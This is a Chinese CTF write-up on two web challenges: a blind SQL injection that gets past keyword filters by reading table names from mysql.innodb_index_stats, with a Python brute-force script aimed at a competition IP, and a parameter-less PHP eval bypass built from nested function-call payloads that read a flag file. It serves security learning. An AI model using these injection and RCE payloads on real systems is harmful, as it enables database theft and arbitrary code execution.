这周六有这个比赛,学到了一个骚姿势,在这里记录一下。
题目是easysql,看到这个题目感觉问题不是这简单。
通过简单的尝试我测试出一种绕过的方式: http://47.105.183.208:29898/article.php?id=123%27||(1)%23
继续通过测试发现过滤了一些关键字符串,
,or
,union select
等字符串,让人很头大,虽然能够构造出得到库名的方法http://47.105.183.208:29898/article.php?id=123%27||(database()<'c')%23
但是因为过滤了or
这个关键的字符串,没有办法通过mysql的information的表来获取其他表的名字,但是查到了这个版本信息为: 5.6.46
当Mysql>5.6.x时
在Mysql中,存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。
而在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档,其对这两个新表的解释如下图:
从官方文档我们可以发现两个有用的信息:
唯一遗憾的是没有字段名
这个两个表存储了相应的数据表名等信息,我们可以通过这个表来弥补information表的缺陷。
因此我们可以构造http://47.105.183.208:29898/article.php?id=123%27||((select group_concat(distinct table_name) from mysql.innodb_index_stats)<'0')%23
来进行盲注可以得到相应的数据表:article,fl111aa44a99g
由于我们无法知道这里的列明,所以可以选择无列名注入:
http://47.105.183.208:29898/article.php?id=123%27||(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n where 0 union/**/select * from fl111aa44a99g)x) from 1)<'0')%23
可以注出flag。
注入脚本为:
import requests
url = "http://47.105.183.208:29898/article.php?id=123%27||"
sql_str ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_"
flag = ""
for i in range(1,40):
for j in range(1,len(sql_str)):
# payload ="(database()<'"+flag+sql_str[j-1:j]+"')%23" # database cccttffff
# payload ="(version()<'"+flag+sql_str[j-1:j]+"')%23" # version 5.6.46
# payload ="(substr((select group_concat(distinct table_name) from mysql.innodb_index_stats) from "+str(i)+")<'"+str(sql_str[j-1:j])+"')%23" # article,fl111aa44a99g
payload ="(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n where 0 union/**/select * from fl111aa44a99g)x) from "+str(i)+")<'"+sql_str[j-1:j]+"')%23" # article,flaaag
res = requests.get(url=url+payload)
print url+payload
# print res.text
# exit()
if '2333333333333' in res.text:
flag += str(sql_str[j-2:j-1])
print flag
break
这里学会了利用innodb_table_stats
来注入表名。当过滤了or
时可以利用这个表注出表名,再配合无列名注入,注出数据。
打开链接通过源代码,发现了/code
这个地址 并且知道flag在当前目录下测试知道为index.php
访问/code
得到:
发现这道题和byteCTF中的一道题目特别相似,是无参数rce,参考了大佬的做法。
第一个正则if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code))
;意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)。就是所谓的无参数RCE。
第二个正则则是过滤了一些字符,限制了我们的代码执行。
我们则需要通过eval($code);
来读取flag内容,flag在index.php里面,而code.php则在/code/code.php
里面,因此我们需要跨目录到上级目录。
第一步:
发现读文件的函数,我们发现file_get_contents
、readfile
等常规的读文件的函数都被ban了,通过尝试我发现了一个file()函数。
file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行。既然是一个数组,我们可以用serialize序列化函数来转成一个字符串。就可以得到这个文件的所有内容了。
那就可以echo(serizalize(file()))
读取文件内容了,就差构造文件名。
第二步:
最重要获取文件的目录了,
参考大佬的payload:
crypt(serialize(array()))
首先定义一个数组,然后对其进行序列化的操作,输出为一个字符串,这是常规操作。然后就用到了一个非常关键的函数crypt()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wn1pqpqS-1573209172358)(https://s2.ax1x.com/2019/11/08/MVvWaq.md.png)]
说起来很复杂 , 仅需要知道它可以返回一个加密字符串。
多次尝试之后发现,利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.
。基本上是以. / 0 1
这些为结尾。以$
开头。
因为加密字符串的 " . " 可能会出现在末尾 . 这里很容易想到 用strrev()函数来反转字符串,然后利用chr(ord())
这个组合,将.
给取出来
ord() : 解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型( 不严禁的说就是将字符串第一个字符转换为 ASCII 编码 )
chr() : 返回相对应于 ASCII 所0指定的单个字符 , 该函数与 ord() 是对应的~
strrev() : 反转字符串
可以利用chr(ord(strrev(crypt(serialize(array())))))
得到.
由于scandir(getcwd())
中的getcwd()
这个函数被过滤了,我们可以用scandir('.')
来代替
有了 " . " , 就可以利用 scandir()
和 next()
获得 " … " 了
再利用chdir()函数修改当前目录。
chdir() : 将 PHP 的当前目录改为指定目录 .
然后再重复上面的操作:
var_dump(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))));
原理就是先切换到flag所在的目录,然后再通过crypt()
函数来对字符串加密得到.
然后利用scandir
可以得到flag所在的目录的文件名。
猜测文件应该再最后一个利用end
来获取文件名,再利用file()
来读文件,由于var_dump()
被过滤了,采用serialize
利用echo
输出文件
payload:
/code.php?code=echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1DMz1JZ-1573209172376)(https://s2.ax1x.com/2019/11/08/MZV7h4.md.png)]
大佬的payload:
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
核心思路是 : phpversion() 函数会返回当前PHP的版本号 , 然后可以用 floor() 函数取第一位的数值,只会是5或者7。
有了数字 , 就可以通过各种数学运算拿到数字46 , 也就是ASCII字符 " . " .(膜一波师傅们tql)。
我试了一下,发现无论是5.x.x还是7.x.x都可以通过这和获取46这个数字。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-80WBga43-1573209172380)(https://s2.ax1x.com/2019/11/08/MZmLcj.png)]
利用到的函数:
floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整
sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
通过 chr()
函数就可以返回 ASCII 编码为 46 的字符 , 也就为 " . " , 后面的步骤就和之前一样 ,
跳转到根目录chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))
然后读取 index.php 文件。这里需要使用if
函数来确保
测试代码:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ayGnVwed-1573209172386)(https://s2.ax1x.com/2019/11/08/MZlN9K.md.png)]
我们可以看到这个字符串很长,如果我们不想利用if函数,我们可以利用time()+localtime()函数来实现操作。
time() : 返回自从 Unix 纪元( 格林威治时间 1970 年 1 月 1 日 00:00:00 )到当前时间的秒数 , 也就是返回一个时间戳
localtime() : 以数值数组和关联数组的形式输出本地时间 .
其中localtime关联数组的键名如下:
localtime() 数组,可以提取出秒数的值,用chr转换为字符串 在第46秒时提取,可以获得"."
localtime() 的第一个参数默认为时间戳 , 也就是 time()的返回值 .
time() 的参数为 void 也就是说引入任意的参数都不会影响 , 其输出为当前的时间戳
payload:
var_dump(file(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
可以写一个脚本一直跑,在每一分钟的46秒都可以读取到flag
核心思路:localeconv() 函数
localeconv() : 返回一个包含本地化数字和货币格式设置信息的关联数组 .
➜ code php -r "var_dump(localeconv());"
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}
可以看到这个数组的第一位就是.
然后可以利用函数将.
取出来 current函数
和pos函数
都可以完成操作
➜ code php -r "var_dump(current(localeconv()));"
string(1) "."
➜ code php -r "var_dump(pos(localeconv()));"
string(1) "."
➜ code
然后的操作就和第一种方法一样了。可以使用if函数,或者利用time()+localtime()函数来实现操作。
首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : **crypt()
**这个函数会返回一个加密的字符串。 这些字符串常以/ . 0 1
结尾,配合chr(ord(strrev()))
可以得到.
。然后就时跳目录,读取flag
payload:
echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));